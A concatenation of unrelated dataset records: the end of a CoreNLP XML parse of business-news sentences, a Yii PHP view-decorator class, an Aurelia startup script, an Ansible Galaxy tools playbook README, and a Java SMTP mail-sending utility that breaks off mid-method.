            <dependent idx="8">Angeles</dependent>
          </dep>
          <dep type="prep">
            <governor idx="8">Angeles</governor>
            <dependent idx="9">as</dependent>
          </dep>
          <dep type="pobj">
            <governor idx="9">as</governor>
            <dependent idx="10">chairman</dependent>
          </dep>
          <dep type="prep">
            <governor idx="2">joined</governor>
            <dependent idx="11">in</dependent>
          </dep>
          <dep type="pobj">
            <governor idx="11">in</governor>
            <dependent idx="12">March</dependent>
          </dep>
          <dep type="amod">
            <governor idx="12">March</governor>
            <dependent idx="14">1986</dependent>
          </dep>
          <dep type="vmod">
            <governor idx="2">joined</governor>
            <dependent idx="16">resigning</dependent>
          </dep>
          <dep type="advmod">
            <governor idx="16">resigning</governor>
            <dependent idx="17">shortly</dependent>
          </dep>
          <dep type="mark">
            <governor idx="21">Associated</governor>
            <dependent idx="18">after</dependent>
          </dep>
          <dep type="nn">
            <governor idx="20">company</governor>
            <dependent idx="19">parent</dependent>
          </dep>
          <dep type="nsubj">
            <governor idx="21">Associated</governor>
            <dependent idx="20">company</dependent>
          </dep>
          <dep type="advcl">
            <governor idx="16">resigning</governor>
            <dependent idx="21">Associated</dependent>
          </dep>
          <dep type="nn">
            <governor idx="23">Goods</governor>
            <dependent idx="22">Dry</dependent>
          </dep>
          <dep type="nsubjpass">
            <governor idx="25">acquired</governor>
            <dependent idx="23">Goods</dependent>
          </dep>
          <dep type="auxpass">
            <governor idx="25">acquired</governor>
            <dependent idx="24">was</dependent>
          </dep>
          <dep type="ccomp">
            <governor idx="21">Associated</governor>
            <dependent idx="25">acquired</dependent>
          </dep>
          <dep type="prep">
            <governor idx="25">acquired</governor>
            <dependent idx="26">by</dependent>
          </dep>
          <dep type="nn">
            <governor idx="28">Co.</governor>
            <dependent idx="27">May</dependent>
          </dep>
          <dep type="pobj">
            <governor idx="26">by</governor>
            <dependent idx="28">Co.</dependent>
          </dep>
        </dependencies>
        <dependencies type="collapsed-dependencies">
          <dep type="root">
            <governor idx="0">ROOT</governor>
            <dependent idx="2">joined</dependent>
          </dep>
          <dep type="nsubj">
            <governor idx="2">joined</governor>
            <dependent idx="1">Roach</dependent>
          </dep>
          <dep type="nn">
            <governor idx="5">Inc</governor>
            <dependent idx="3">J.W.</dependent>
          </dep>
          <dep type="nn">
            <governor idx="5">Inc</governor>
            <dependent idx="4">Robinson</dependent>
          </dep>
          <dep type="dobj">
            <governor idx="2">joined</governor>
            <dependent idx="5">Inc</dependent>
          </dep>
          <dep type="nn">
            <governor idx="8">Angeles</governor>
            <dependent idx="7">Los</dependent>
          </dep>
          <dep type="prep_of">
            <governor idx="5">Inc</governor>
            <dependent idx="8">Angeles</dependent>
          </dep>
          <dep type="prep_as">
            <governor idx="8">Angeles</governor>
            <dependent idx="10">chairman</dependent>
          </dep>
          <dep type="prep_in">
            <governor idx="2">joined</governor>
            <dependent idx="12">March</dependent>
          </dep>
          <dep type="amod">
            <governor idx="12">March</governor>
            <dependent idx="14">1986</dependent>
          </dep>
          <dep type="vmod">
            <governor idx="2">joined</governor>
            <dependent idx="16">resigning</dependent>
          </dep>
          <dep type="advmod">
            <governor idx="16">resigning</governor>
            <dependent idx="17">shortly</dependent>
          </dep>
          <dep type="mark">
            <governor idx="21">Associated</governor>
            <dependent idx="18">after</dependent>
          </dep>
          <dep type="nn">
            <governor idx="20">company</governor>
            <dependent idx="19">parent</dependent>
          </dep>
          <dep type="nsubj">
            <governor idx="21">Associated</governor>
            <dependent idx="20">company</dependent>
          </dep>
          <dep type="advcl">
            <governor idx="16">resigning</governor>
            <dependent idx="21">Associated</dependent>
          </dep>
          <dep type="nn">
            <governor idx="23">Goods</governor>
            <dependent idx="22">Dry</dependent>
          </dep>
          <dep type="nsubjpass">
            <governor idx="25">acquired</governor>
            <dependent idx="23">Goods</dependent>
          </dep>
          <dep type="auxpass">
            <governor idx="25">acquired</governor>
            <dependent idx="24">was</dependent>
          </dep>
          <dep type="ccomp">
            <governor idx="21">Associated</governor>
            <dependent idx="25">acquired</dependent>
          </dep>
          <dep type="nn">
            <governor idx="28">Co.</governor>
            <dependent idx="27">May</dependent>
          </dep>
          <dep type="agent">
            <governor idx="25">acquired</governor>
            <dependent idx="28">Co.</dependent>
          </dep>
        </dependencies>
        <dependencies type="collapsed-ccprocessed-dependencies">
          <dep type="root">
            <governor idx="0">ROOT</governor>
            <dependent idx="2">joined</dependent>
          </dep>
          <dep type="nsubj">
            <governor idx="2">joined</governor>
            <dependent idx="1">Roach</dependent>
          </dep>
          <dep type="nn">
            <governor idx="5">Inc</governor>
            <dependent idx="3">J.W.</dependent>
          </dep>
          <dep type="nn">
            <governor idx="5">Inc</governor>
            <dependent idx="4">Robinson</dependent>
          </dep>
          <dep type="dobj">
            <governor idx="2">joined</governor>
            <dependent idx="5">Inc</dependent>
          </dep>
          <dep type="nn">
            <governor idx="8">Angeles</governor>
            <dependent idx="7">Los</dependent>
          </dep>
          <dep type="prep_of">
            <governor idx="5">Inc</governor>
            <dependent idx="8">Angeles</dependent>
          </dep>
          <dep type="prep_as">
            <governor idx="8">Angeles</governor>
            <dependent idx="10">chairman</dependent>
          </dep>
          <dep type="prep_in">
            <governor idx="2">joined</governor>
            <dependent idx="12">March</dependent>
          </dep>
          <dep type="amod">
            <governor idx="12">March</governor>
            <dependent idx="14">1986</dependent>
          </dep>
          <dep type="vmod">
            <governor idx="2">joined</governor>
            <dependent idx="16">resigning</dependent>
          </dep>
          <dep type="advmod">
            <governor idx="16">resigning</governor>
            <dependent idx="17">shortly</dependent>
          </dep>
          <dep type="mark">
            <governor idx="21">Associated</governor>
            <dependent idx="18">after</dependent>
          </dep>
          <dep type="nn">
            <governor idx="20">company</governor>
            <dependent idx="19">parent</dependent>
          </dep>
          <dep type="nsubj">
            <governor idx="21">Associated</governor>
            <dependent idx="20">company</dependent>
          </dep>
          <dep type="advcl">
            <governor idx="16">resigning</governor>
            <dependent idx="21">Associated</dependent>
          </dep>
          <dep type="nn">
            <governor idx="23">Goods</governor>
            <dependent idx="22">Dry</dependent>
          </dep>
          <dep type="nsubjpass">
            <governor idx="25">acquired</governor>
            <dependent idx="23">Goods</dependent>
          </dep>
          <dep type="auxpass">
            <governor idx="25">acquired</governor>
            <dependent idx="24">was</dependent>
          </dep>
          <dep type="ccomp">
            <governor idx="21">Associated</governor>
            <dependent idx="25">acquired</dependent>
          </dep>
          <dep type="nn">
            <governor idx="28">Co.</governor>
            <dependent idx="27">May</dependent>
          </dep>
          <dep type="agent">
            <governor idx="25">acquired</governor>
            <dependent idx="28">Co.</dependent>
          </dep>
        </dependencies>
      </sentence>
      <sentence id="4">
        <tokens>
          <token id="1">
            <word>David</word>
            <lemma>David</lemma>
            <CharacterOffsetBegin>401</CharacterOffsetBegin>
            <CharacterOffsetEnd>406</CharacterOffsetEnd>
            <POS>NNP</POS>
          </token>
          <token id="2">
            <word>Mullen</word>
            <lemma>Mullen</lemma>
            <CharacterOffsetBegin>407</CharacterOffsetBegin>
            <CharacterOffsetEnd>413</CharacterOffsetEnd>
            <POS>NNP</POS>
          </token>
          <token id="3">
            <word>,</word>
            <lemma>,</lemma>
            <CharacterOffsetBegin>413</CharacterOffsetBegin>
            <CharacterOffsetEnd>414</CharacterOffsetEnd>
            <POS>,</POS>
          </token>
          <token id="4">
            <word>the</word>
            <lemma>the</lemma>
            <CharacterOffsetBegin>415</CharacterOffsetBegin>
            <CharacterOffsetEnd>418</CharacterOffsetEnd>
            <POS>DT</POS>
          </token>
          <token id="5">
            <word>president</word>
            <lemma>president</lemma>
            <CharacterOffsetBegin>419</CharacterOffsetBegin>
            <CharacterOffsetEnd>428</CharacterOffsetEnd>
            <POS>NN</POS>
          </token>
          <token id="6">
            <word>of</word>
            <lemma>of</lemma>
            <CharacterOffsetBegin>429</CharacterOffsetBegin>
            <CharacterOffsetEnd>431</CharacterOffsetEnd>
            <POS>IN</POS>
          </token>
          <token id="7">
            <word>Woodward</word>
            <lemma>Woodward</lemma>
            <CharacterOffsetBegin>432</CharacterOffsetBegin>
            <CharacterOffsetEnd>440</CharacterOffsetEnd>
            <POS>NNP</POS>
          </token>
          <token id="8">
            <word>and</word>
            <lemma>and</lemma>
            <CharacterOffsetBegin>441</CharacterOffsetBegin>
            <CharacterOffsetEnd>444</CharacterOffsetEnd>
            <POS>CC</POS>
          </token>
          <token id="9">
            <word>Lothrop</word>
            <lemma>Lothrop</lemma>
            <CharacterOffsetBegin>445</CharacterOffsetBegin>
            <CharacterOffsetEnd>452</CharacterOffsetEnd>
            <POS>NNP</POS>
          </token>
          <token id="10">
            <word>Inc</word>
            <lemma>Inc</lemma>
            <CharacterOffsetBegin>453</CharacterOffsetBegin>
            <CharacterOffsetEnd>456</CharacterOffsetEnd>
            <POS>NNP</POS>
          </token>
          <token id="11">
            <word>has</word>
            <lemma>have</lemma>
            <CharacterOffsetBegin>457</CharacterOffsetBegin>
            <CharacterOffsetEnd>460</CharacterOffsetEnd>
            <POS>VBZ</POS>
          </token>
          <token id="12">
            <word>resigned</word>
            <lemma>resign</lemma>
            <CharacterOffsetBegin>461</CharacterOffsetBegin>
            <CharacterOffsetEnd>469</CharacterOffsetEnd>
            <POS>VBN</POS>
          </token>
          <token id="13">
            <word>and</word>
            <lemma>and</lemma>
            <CharacterOffsetBegin>470</CharacterOffsetBegin>
            <CharacterOffsetEnd>473</CharacterOffsetEnd>
            <POS>CC</POS>
          </token>
          <token id="14">
            <word>is</word>
            <lemma>be</lemma>
            <CharacterOffsetBegin>474</CharacterOffsetBegin>
            <CharacterOffsetEnd>476</CharacterOffsetEnd>
            <POS>VBZ</POS>
          </token>
          <token id="15">
            <word>set</word>
            <lemma>set</lemma>
            <CharacterOffsetBegin>477</CharacterOffsetBegin>
            <CharacterOffsetEnd>480</CharacterOffsetEnd>
            <POS>VBN</POS>
          </token>
          <token id="16">
            <word>to</word>
            <lemma>to</lemma>
            <CharacterOffsetBegin>481</CharacterOffsetBegin>
            <CharacterOffsetEnd>483</CharacterOffsetEnd>
            <POS>TO</POS>
          </token>
          <token id="17">
            <word>be</word>
            <lemma>be</lemma>
            <CharacterOffsetBegin>484</CharacterOffsetBegin>
            <CharacterOffsetEnd>486</CharacterOffsetEnd>
            <POS>VB</POS>
          </token>
          <token id="18">
            <word>replaced</word>
            <lemma>replace</lemma>
            <CharacterOffsetBegin>487</CharacterOffsetBegin>
            <CharacterOffsetEnd>495</CharacterOffsetEnd>
            <POS>VBN</POS>
          </token>
          <token id="19">
            <word>by</word>
            <lemma>by</lemma>
            <CharacterOffsetBegin>497</CharacterOffsetBegin>
            <CharacterOffsetEnd>499</CharacterOffsetEnd>
            <POS>IN</POS>
          </token>
          <token id="20">
            <word>Tom</word>
            <lemma>Tom</lemma>
            <CharacterOffsetBegin>500</CharacterOffsetBegin>
            <CharacterOffsetEnd>503</CharacterOffsetEnd>
            <POS>NNP</POS>
          </token>
          <token id="21">
            <word>Roach</word>
            <lemma>Roach</lemma>
            <CharacterOffsetBegin>504</CharacterOffsetBegin>
            <CharacterOffsetEnd>509</CharacterOffsetEnd>
            <POS>NNP</POS>
          </token>
          <token id="22">
            <word>starting</word>
            <lemma>start</lemma>
            <CharacterOffsetBegin>510</CharacterOffsetBegin>
            <CharacterOffsetEnd>518</CharacterOffsetEnd>
            <POS>VBG</POS>
          </token>
          <token id="23">
            <word>April</word>
            <lemma>April</lemma>
            <CharacterOffsetBegin>519</CharacterOffsetBegin>
            <CharacterOffsetEnd>524</CharacterOffsetEnd>
            <POS>NNP</POS>
          </token>
          <token id="24">
            <word>20</word>
            <lemma>20</lemma>
            <CharacterOffsetBegin>525</CharacterOffsetBegin>
            <CharacterOffsetEnd>527</CharacterOffsetEnd>
            <POS>CD</POS>
          </token>
          <token id="25">
            <word>,</word>
            <lemma>,</lemma>
            <CharacterOffsetBegin>527</CharacterOffsetBegin>
            <CharacterOffsetEnd>528</CharacterOffsetEnd>
            <POS>,</POS>
          </token>
          <token id="26">
            <word>1987</word>
            <lemma>1987</lemma>
            <CharacterOffsetBegin>529</CharacterOffsetBegin>
            <CharacterOffsetEnd>533</CharacterOffsetEnd>
            <POS>CD</POS>
          </token>
          <token id="27">
            <word>.</word>
            <lemma>.</lemma>
            <CharacterOffsetBegin>533</CharacterOffsetBegin>
            <CharacterOffsetEnd>534</CharacterOffsetEnd>
            <POS>.</POS>
          </token>
        </tokens>
        <parse>(ROOT (S (NP (NP (NNP David) (NNP Mullen)) (, ,) (NP (NP (DT the) (NN president)) (PP (IN of) (NP (NP (NNP Woodward) (CC and) (NNP Lothrop)) (NNP Inc))))) (VP (VP (VBZ has) (VP (VBN resigned))) (CC and) (VP (VBZ is) (VP (VBN set) (S (VP (TO to) (VP (VB be) (VP (VBN replaced) (PP (IN by) (NP (NP (NNP Tom) (NNP Roach)) (VP (VBG starting) (NP-TMP (NNP April) (CD 20) (, ,) (CD 1987)))))))))))) (. .))) </parse>
        <dependencies type="basic-dependencies">
          <dep type="root">
            <governor idx="0">ROOT</governor>
            <dependent idx="12">resigned</dependent>
          </dep>
          <dep type="nn">
            <governor idx="2">Mullen</governor>
            <dependent idx="1">David</dependent>
          </dep>
          <dep type="nsubj">
            <governor idx="12">resigned</governor>
            <dependent idx="2">Mullen</dependent>
          </dep>
          <dep type="det">
            <governor idx="5">president</governor>
            <dependent idx="4">the</dependent>
          </dep>
          <dep type="appos">
            <governor idx="2">Mullen</governor>
            <dependent idx="5">president</dependent>
          </dep>
          <dep type="prep">
            <governor idx="5">president</governor>
            <dependent idx="6">of</dependent>
          </dep>
          <dep type="nn">
            <governor idx="10">Inc</governor>
            <dependent idx="7">Woodward</dependent>
          </dep>
          <dep type="cc">
            <governor idx="7">Woodward</governor>
            <dependent idx="8">and</dependent>
          </dep>
          <dep type="conj">
            <governor idx="7">Woodward</governor>
            <dependent idx="9">Lothrop</dependent>
          </dep>
          <dep type="pobj">
            <governor idx="6">of</governor>
            <dependent idx="10">Inc</dependent>
          </dep>
          <dep type="aux">
            <governor idx="12">resigned</governor>
            <dependent idx="11">has</dependent>
          </dep>
          <dep type="cc">
            <governor idx="12">resigned</governor>
            <dependent idx="13">and</dependent>
          </dep>
          <dep type="auxpass">
            <governor idx="15">set</governor>
            <dependent idx="14">is</dependent>
          </dep>
          <dep type="conj">
            <governor idx="12">resigned</governor>
            <dependent idx="15">set</dependent>
          </dep>
          <dep type="aux">
            <governor idx="18">replaced</governor>
            <dependent idx="16">to</dependent>
          </dep>
          <dep type="auxpass">
            <governor idx="18">replaced</governor>
            <dependent idx="17">be</dependent>
          </dep>
          <dep type="xcomp">
            <governor idx="15">set</governor>
            <dependent idx="18">replaced</dependent>
          </dep>
          <dep type="prep">
            <governor idx="18">replaced</governor>
            <dependent idx="19">by</dependent>
          </dep>
          <dep type="nn">
            <governor idx="21">Roach</governor>
            <dependent idx="20">Tom</dependent>
          </dep>
          <dep type="pobj">
            <governor idx="19">by</governor>
            <dependent idx="21">Roach</dependent>
          </dep>
          <dep type="vmod">
            <governor idx="21">Roach</governor>
            <dependent idx="22">starting</dependent>
          </dep>
          <dep type="tmod">
            <governor idx="22">starting</governor>
            <dependent idx="23">April</dependent>
          </dep>
          <dep type="num">
            <governor idx="23">April</governor>
            <dependent idx="24">20</dependent>
          </dep>
          <dep type="num">
            <governor idx="23">April</governor>
            <dependent idx="26">1987</dependent>
          </dep>
        </dependencies>
        <dependencies type="collapsed-dependencies">
          <dep type="root">
            <governor idx="0">ROOT</governor>
            <dependent idx="12">resigned</dependent>
          </dep>
          <dep type="nn">
            <governor idx="2">Mullen</governor>
            <dependent idx="1">David</dependent>
          </dep>
          <dep type="nsubj">
            <governor idx="12">resigned</governor>
            <dependent idx="2">Mullen</dependent>
          </dep>
          <dep type="det">
            <governor idx="5">president</governor>
            <dependent idx="4">the</dependent>
          </dep>
          <dep type="appos">
            <governor idx="2">Mullen</governor>
            <dependent idx="5">president</dependent>
          </dep>
          <dep type="nn">
            <governor idx="10">Inc</governor>
            <dependent idx="7">Woodward</dependent>
          </dep>
          <dep type="conj_and">
            <governor idx="7">Woodward</governor>
            <dependent idx="9">Lothrop</dependent>
          </dep>
          <dep type="prep_of">
            <governor idx="5">president</governor>
            <dependent idx="10">Inc</dependent>
          </dep>
          <dep type="aux">
            <governor idx="12">resigned</governor>
            <dependent idx="11">has</dependent>
          </dep>
          <dep type="auxpass">
            <governor idx="15">set</governor>
            <dependent idx="14">is</dependent>
          </dep>
          <dep type="conj_and">
            <governor idx="12">resigned</governor>
            <dependent idx="15">set</dependent>
          </dep>
          <dep type="aux">
            <governor idx="18">replaced</governor>
            <dependent idx="16">to</dependent>
          </dep>
          <dep type="auxpass">
            <governor idx="18">replaced</governor>
            <dependent idx="17">be</dependent>
          </dep>
          <dep type="xcomp">
            <governor idx="15">set</governor>
            <dependent idx="18">replaced</dependent>
          </dep>
          <dep type="nn">
            <governor idx="21">Roach</governor>
            <dependent idx="20">Tom</dependent>
          </dep>
          <dep type="agent">
            <governor idx="18">replaced</governor>
            <dependent idx="21">Roach</dependent>
          </dep>
          <dep type="vmod">
            <governor idx="21">Roach</governor>
            <dependent idx="22">starting</dependent>
          </dep>
          <dep type="tmod">
            <governor idx="22">starting</governor>
            <dependent idx="23">April</dependent>
          </dep>
          <dep type="num">
            <governor idx="23">April</governor>
            <dependent idx="24">20</dependent>
          </dep>
          <dep type="num">
            <governor idx="23">April</governor>
            <dependent idx="26">1987</dependent>
          </dep>
        </dependencies>
        <dependencies type="collapsed-ccprocessed-dependencies">
          <dep type="root">
            <governor idx="0">ROOT</governor>
            <dependent idx="12">resigned</dependent>
          </dep>
          <dep type="nn">
            <governor idx="2">Mullen</governor>
            <dependent idx="1">David</dependent>
          </dep>
          <dep type="nsubj">
            <governor idx="12">resigned</governor>
            <dependent idx="2">Mullen</dependent>
          </dep>
          <dep type="nsubjpass">
            <governor idx="15">set</governor>
            <dependent idx="2">Mullen</dependent>
          </dep>
          <dep type="det">
            <governor idx="5">president</governor>
            <dependent idx="4">the</dependent>
          </dep>
          <dep type="appos">
            <governor idx="2">Mullen</governor>
            <dependent idx="5">president</dependent>
          </dep>
          <dep type="nn">
            <governor idx="10">Inc</governor>
            <dependent idx="7">Woodward</dependent>
          </dep>
          <dep type="conj_and">
            <governor idx="7">Woodward</governor>
            <dependent idx="9">Lothrop</dependent>
          </dep>
          <dep type="nn">
            <governor idx="10">Inc</governor>
            <dependent idx="9">Lothrop</dependent>
          </dep>
          <dep type="prep_of">
            <governor idx="5">president</governor>
            <dependent idx="10">Inc</dependent>
          </dep>
          <dep type="aux">
            <governor idx="12">resigned</governor>
            <dependent idx="11">has</dependent>
          </dep>
          <dep type="auxpass">
            <governor idx="15">set</governor>
            <dependent idx="14">is</dependent>
          </dep>
          <dep type="conj_and">
            <governor idx="12">resigned</governor>
            <dependent idx="15">set</dependent>
          </dep>
          <dep type="aux">
            <governor idx="18">replaced</governor>
            <dependent idx="16">to</dependent>
          </dep>
          <dep type="auxpass">
            <governor idx="18">replaced</governor>
            <dependent idx="17">be</dependent>
          </dep>
          <dep type="xcomp">
            <governor idx="15">set</governor>
            <dependent idx="18">replaced</dependent>
          </dep>
          <dep type="nn">
            <governor idx="21">Roach</governor>
            <dependent idx="20">Tom</dependent>
          </dep>
          <dep type="agent">
            <governor idx="18">replaced</governor>
            <dependent idx="21">Roach</dependent>
          </dep>
          <dep type="vmod">
            <governor idx="21">Roach</governor>
            <dependent idx="22">starting</dependent>
          </dep>
          <dep type="tmod">
            <governor idx="22">starting</governor>
            <dependent idx="23">April</dependent>
          </dep>
          <dep type="num">
            <governor idx="23">April</governor>
            <dependent idx="24">20</dependent>
          </dep>
          <dep type="num">
            <governor idx="23">April</governor>
            <dependent idx="26">1987</dependent>
          </dep>
        </dependencies>
      </sentence>
    </sentences>
  </document>
</root>


text:
<?php

/**
 * CContentDecorator decorates the content it encloses with the specified view.
 *
 * CContentDecorator is mostly used to implement nested layouts, i.e., a layout
 * is embedded within another layout. {@link CBaseController} defines a pair of
 * convenient methods to use CContentDecorator:
 *

 * $this->beginContent('path/to/view');
 * // ... content to be decorated
 * $this->endContent();
 *

 *
 * The property {@link view} specifies the name of the view that is used to
 * decorate the content. In the view, the content being decorated may be
 * accessed with variable $content.
 *
 * @author Qiang Xue <qiang.xue@gmail.com>
 * @package system.web.widgets
 * @since 1.0
 */
class CContentDecorator extends COutputProcessor {
	/**
	 *
	 * @var mixed the name of the view that will be used to decorate the captured content.
	 *      If this property is null (default value), the default layout will be used as
	 *      the decorative view. Note that if the current controller does not belong to
	 *      any module, the default layout refers to the application's {@link CWebApplication::layout default layout};
	 *      If the controller belongs to a module, the default layout refers to the module's
	 *      {@link CWebModule::layout default layout}.
	 */
	public $view;
	/**
	 *
	 * @var array the variables (name=>value) to be extracted and made available in the decorative view.
	 */
	public $data = array ();

	/**
	 * Processes the captured output.
	 * This method decorates the output with the specified {@link view}.
	 *
	 * @param string $output
	 *        	the captured output to be processed
	 */
	public function processOutput($output) {
		$output = $this->decorate ( $output );
		parent::processOutput ( $output );
	}

	/**
	 * Decorates the content by rendering a view and embedding the content in it.
	 * The content being embedded can be accessed in the view using variable $content
	 * The decorated content will be displayed directly.
	 *
	 * @param string $content
	 *        	the content to be decorated
	 * @return string the decorated content
	 */
	protected function decorate($content) {
		$owner = $this->getOwner ();
		if ($this->view === null)
			$viewFile = Yii::app ()->getController ()->getLayoutFile ( null );
		else
			$viewFile = $owner->getViewFile ( $this->view );
		if ($viewFile !== false) {
			$data = $this->data;
			$data ['content'] = $content;
			return $owner->renderFile ( $viewFile, $data, true );
		} else
			return $content;
	}
}

redpajama_set_name: RedPajamaGithub


text:
import 'regenerator-runtime/runtime';
import environment from './environment';
import {PLATFORM} from 'aurelia-pal';

export function configure(aurelia) {
  aurelia.use
    .standardConfiguration()
    .feature(PLATFORM.moduleName('resources/index'));

  aurelia.use.developmentLogging(environment.debug ? 'debug' : 'warn');

  if (environment.testing) {
    aurelia.use.plugin(PLATFORM.moduleName('aurelia-testing'));
  }

  aurelia.start().then(() => aurelia.setRoot(PLATFORM.moduleName('app')));
}


text:
A ready-to-use Ansible playbook for the [Galaxy Tools role][gtr].

Before you can use this playbook, you need to install [Ansible][ans] (version
2.1.2.0+ is required). Note that for the time being, this playbook does not
work with Python 3.x.

    $ pip install ansible virtualenv

To use, clone this repo and provide a list of tools to install. A sample file
if provided in `files/sample_tool_list.yaml`. , run the playbook:

    $ git clone https://github.com/afgane/galaxy-tools-playbook.git
    $ cd galaxy-tools-playbook && ansible-galaxy install -f -r requirements_roles.yml -p roles
    # Provide a list of tools in files/sample_tool_list.yaml
    # Edit tools.yml if you're not targeting Galaxy on localhost:8080
    $ ansible-playbook tools.yml -i "localhost," --extra-vars galaxy_tools_api_key=<Admin user API key>

In addition to the output from running the playbook, the installation script
will log it's progress in `/tmp/galaxy_tool_install.log`.

The default settings will run the playbook for an installation of Galaxy on
your local machine. To target a different instance of Galaxy, edit `tools.yml`
and set a URL to the Galaxy instance. You can also set the API key there not
to have to provide it on the command line.

Updates
-------
To update the version of the galaxy-tools role, run the following command
`ansible-galaxy install -f -r requirements_roles.yml -p roles`

[gtr]: https://github.com/galaxyproject/ansible-galaxy-tools
[ans]: http://www.ansible.com/home


text:
package com.lerx.sys.util;
import java.util.*;
import javax.mail.*;
import javax.mail.internet.*;
import javax.servlet.http.HttpServletRequest;

import com.lerx.qa.vo.QaNav;
import com.lerx.site.vo.SiteInfo;
import com.lerx.sys.util.vo.MaiCreateArg;
import com.lerx.sys.util.vo.Mail;
import com.lerx.sys.util.vo.ReadFileArg;
import com.opensymphony.xwork2.ActionSupport;

public class MailSender {

public MailSender() {
}
	// 邮件发送
  // String strSubject		-	邮件主题
  // String strBody				-	邮件正文
  // String strFrom				-	发信人
  // String strTo					-	收信人
  // String strSmtpServer	- smtp服务器
  // String strSmtpUser		- smtp服务器认证用户名
  // String strSmtpPwd		- smtp服务器认证用户密码
  // boolean bState				- 发送结果

/*
 * 下面的方法已不用,现在使用com.lerx.sys.util.vo.Mail对象的send方法
 */
  public static boolean mailsend(String strSubject,String strBody,String strFrom,String strTo,String strSmtpServer,String strSmtpUser,String strSmtpPwd)
  {
  	boolean bState=true;
		try
		{
			Properties props=new Properties();
			props.put("mail.smtp.host",strSmtpServer);
			props.put("mail.smtp.auth","true");
			Session s = Session.getDefaultInstance(props);
			s.setDebug(false);

			MimeMessage message = new MimeMessage(s);
			MimeMultipart mp = new MimeMultipart();

			InternetAddress from = new InternetAddress(strFrom);
			message.setFrom(from);

			InternetAddress[] to = new InternetAddress[1];
			to[0] = new InternetAddress(strTo);

			message.setRecipients(Message.RecipientType.TO,to);
			message.setSubject(strSubject,"GB2312");

			BodyPart body = new MimeBodyPart();
			body.setContent(strBody, "text/html;charset=GB2312"); // !!!注意设置编码
			mp.addBodyPart(body);
			message.setContent(mp);

			message.saveChanges();

			//smtp验证
			Transport transport = s.getTransport("smtp");
			transport.connect(strSmtpServer, strSmtpUser, strSmtpPwd);
			transport.sendMessage(message,message.getAllRecipients());
			transport.close();
			bState=true;
			return bState;
		}
 		catch(Exception exp)
 	 		{
    	bState=false;
    	return bState;
    }
  }

  /*
   * 邮件服务初始化
   */
  public static Mail init(SiteInfo site,ActionSupport actionSupport,HttpServletRequest request){
	  //本例的mail无body
	  Mail mail = new Mail();
	  if (site.getMailSmtpServer() != null
				&& !site.getMailSmtpServer().trim().equals("")) {
			mail.getSrv().setSmtpServ(site.getMailSmtpServer());
			mail.getSrv().setFrom(site.getMailSenderAddr());
			mail.getSrv().setSmtpUser(site.getMailSmtpUser());
			mail.getSrv().setSmtpPassword(site.getMailSmtpPws());
			mail.setSubject(site.getMailTitleFromSite());
			mail.setBody(site.getMailBodyForReg());

			Mail.setCharset(actionSupport.getText("lerx.charset"));

//			 if (site.getMailBodyForReg()!=null && !site.getMailBodyForReg().trim().equals("") ){
////				  body=site.getMailBodyForQaReply();
//				  mail.setBody(site.getMailBodyForReg());
//			  }else{
//				  String body=FileUtil.readConfigFile(actionSupport, request, "mailBodyForReg.txt");
////				  body=as.getText("lerx.mailBody");
//				  mail.setBody(body);
//			  }

		} else {
			mail.getSrv().setSmtpServ(actionSupport.getText("lerx.mailSrv"));
			mail.getSrv().setFrom(actionSupport.getText("lerx.mailSender"));
			mail.getSrv().setSmtpUser(actionSupport.getText("lerx.mailSenderUsername"));
			mail.getSrv().setSmtpPassword(actionSupport.getText("lerx.mailSenderUserPws"));
			mail.setSubject(actionSupport.getText("lerx.mailSubject"));
			mail.setBody(site.getMailBodyForReg());
//			String body=FileUtil.readConfigFile(actionSupport, request, "mailBodyForReg.txt");
//			mail.setBody(body);
		}
		// System.out.println("邮件初始化成功");

		return mail;
  }

  public static boolean check(Mail mail){
	  boolean con=true;
	  if (mail.getSrv().getSmtpServ()==null || mail.getSrv().getSmtpServ().trim().equals("lerx.mailSrv")){
	  		con=false;
	  }
	  if (con && (mail.getSrv().getSmtpUser()==null || mail.getSrv().getSmtpUser().trim().equals("lerx.mailSenderUsername"))){
	  		con=false;
	  }
	  if (con && (mail.getSrv().getSmtpPassword()==null || mail.getSrv().getSmtpPassword().trim().equals("lerx.mailSenderUserPws"))){
	  		con=false;
	  }
	  return con;
  }

//  public static Mail mailInit(MaiCreateArg mca){
//	  Mail mail = new Mail();
//	  if (site.getMailSmtpServer() != null
//				&& !site.getMailSmtpServer().trim().equals("")) {
//			mail.getSrv().setSmtpServ(site.getMailSmtpServer());
//			mail.getSrv().setFrom(site.getMailSenderAddr());
//			mail.getSrv().setSmtpUser(site.getMailSmtpUser());
//			mail.getSrv().setSmtpPassword(site.getMailSmtpPws());
//			mail.setSubject(site.getMailTitleFromSite());
//			mail.setBody(site.getMailBodyForReg());
//
//			Mail.setCharset(actionSupport.getText("lerx.charset"));
//
//			 if (site.getMailBodyForReg()!=null && !site.getMailBodyForReg().trim().equals("") ){
////				  body=site.getMailBodyForQaReply();
//				  mail.setBody(site.getMailBodyForReg());
//			  }else{
//
//
//				  String body=FileUtil.readConfigFile(actionSupport, request, "mailBodyForReg.txt","mailBody");
////				  body=as.getText("lerx.mailBody");
//				  mail.setBody(body);
//			  }
//
//		} else {
//			mail.getSrv().setSmtpServ(actionSupport.getText("lerx.mailSrv"));
//			mail.getSrv().setFrom(actionSupport.getText("lerx.mailSender"));
//			mail.getSrv().setSmtpUser(actionSupport.getText("lerx.mailSenderUsername"));
//			mail.getSrv().setSmtpPassword(actionSupport.getText("lerx.mailSenderUserPws"));
//			mail.setSubject(actionSupport.getText("lerx.mailSubject"));
//			mail.setBody(site.getMailBodyForReg());
//			String body=FileUtil.readConfigFile(actionSupport, request, "mailBodyForReg.txt","mailBody");
//			mail.setBody(body);
//		}
//		// System.out.println("邮件初始化成功");
//
//		return mail;
//
//  }

  public static Mail mailInit(MaiCreateArg mca){
	  Mail mail = new Mail();
	  int sta=mca.getSta();
	  SiteInfo site=mca.getSite();
	  HttpServletRequest request=mca.getRequest();
	  QaNav qn=mca.getQn();
	  ActionSupport as=mca.getAs();
	  int mod=mca.getMod();
	  String rootFolder=mca.getRootFolder();
	  String server,from,user,password,subject,body;
	  if (sta==0){
		  if (qn.getServerOfSendEmail()==null || qn.getServerOfSendEmail().trim().equals("")){
			  if (site.getMailSmtpServer()!=null && !site.getMailSmtpServer().trim().equals("")){
				  server=site.getMailSmtpServer();
			  }else{
				  server=as.getText("lerx.mailSrv");
			  }

		  }else{
			  server=qn.getServerOfSendEmail();
		  }

		  if (qn.getSendEmail()==null || qn.getSendEmail().trim().equals("")){
			  if (site.getMailSenderAddr()!=null && !site.getMailSenderAddr().trim().equals("")){
				  from=site.getMailSenderAddr();
			  }else{
				  from=as.getText("lerx.mailSender");
